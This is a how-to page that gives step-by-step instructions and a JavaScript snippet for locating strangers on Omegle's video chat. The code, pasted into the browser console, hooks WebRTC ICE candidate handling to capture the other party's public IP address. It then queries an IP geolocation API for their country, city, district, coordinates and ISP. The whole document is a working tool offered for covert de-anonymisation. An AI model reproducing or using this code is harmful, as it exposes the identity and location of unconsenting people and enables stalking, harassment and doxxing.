Find Location of Stranger on Omegle
Overview:
To find the location name of someone on Omegle just follow the step by step instructions below. If you are having trouble with the steps then please refer to the video tutorial posted below the code.
Instructions:
Step 1: Obtain a Free API Key from : https://app.ipgeolocation.io/
Step 2: Copy the code below into Notepad or another text editor.
Step 3: Replace “[Your API KEY]” Section in the code with your Free API Key.
Step 4: Open up the Omegle home page.
Step 5: Open up Chrome developer options and click on the console tab.
Step 6: Copy the modified code in to Chrome developer under the console tab.
Step 7: Press Enter key on keyboard.
Step 8: Enter into a Video Chat on Omegle.
NOTE**: This does not work in the text only chat option.
Copy Code:
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function(...args){ const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function(iceCandidate, ...rest){ const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7]==="srflx"){ getlocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc; } const getlocation = async(ip) =>{ let url = `https://api.ipgeolocation.io/ipgeo?apiKey=[Your API KEY]&ip=${ip}`; await fetch(url).then((response)=> response.json().then((json) => { const output = ` ............................. Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} LAT/LONG: (${json.latitude} , ${json.longitude}) provider: ${json.isp} ..................................`; console.log(output); }) ); };